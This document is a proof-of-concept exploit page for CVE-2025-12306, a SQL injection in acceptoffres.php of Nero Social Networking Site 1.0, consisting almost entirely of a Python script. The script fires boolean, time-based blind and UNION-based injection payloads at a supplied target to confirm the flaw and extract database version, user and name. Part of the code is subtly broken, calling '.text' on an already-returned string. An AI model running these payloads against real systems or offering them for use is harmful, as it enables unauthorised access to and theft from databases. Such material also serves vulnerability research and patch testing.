CVE-2025-12306: Nero Social Networking Site 1.0 acceptoffres.php SQL注入漏洞

import requests import sys # CVE-2025-12306 SQL Injection PoC # Target: Nero Social Networking Site 1.0 # Vulnerability: SQL Injection in /acceptoffres.php via ID parameter def exploit(target_url, injection_payload): """ Exploit SQL injection vulnerability in acceptoffres.php Args: target_url: Base URL of the target application injection_payload: SQL injection payload to inject """ # Construct the vulnerable URL with the injection payload vulnerable_endpoint = f"{target_url}/acceptoffres.php" # Prepare the malicious request params = { 'id': injection_payload } try: # Send the malicious request response = requests.get(vulnerable_endpoint, params=params, timeout=10) # Analyze the response if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sqli_test(target_url): """ Test for blind SQL injection using time-based technique """ # Time-based blind SQL injection payload # This payload causes a 5-second delay if vulnerable payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))s1) AND '1'='1" print(f"[*] Testing blind SQL injection...") print(f"[*] Payload: {payload}") import time start_time = time.time() response = exploit(target_url, payload) elapsed_time = time.time() - start_time if elapsed_time > 4: print(f"[+] Blind SQL injection confirmed! Response time: {elapsed_time:.2f}s") else: print(f"[-] No blind SQL injection detected") def union_based_sqli(target_url): """ Union-based SQL injection to extract database information """ # Determine number of columns for i in range(1, 10): payload = f"1' ORDER BY {i}-- -" print(f"[*] Testing column count: {i}") response = exploit(target_url, payload) if response and 'Unknown column' not in response.text: print(f"[+] Found {i} columns") break # Extract database version and current user payload = "1' UNION SELECT NULL,version(),user(),database()-- -" print(f"[*] Extracting database information...") exploit(target_url, payload) if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-12306 SQL Injection Exploit") print(f"[*] Target: {target}") print("="*50) # Test basic SQL injection basic_payload = "1' OR '1'='1" print(f"[*] Testing basic SQL injection...") exploit(target, basic_payload) # Test blind SQL injection blind_sqli_test(target) # Test union-based SQL injection union_based_sqli(target)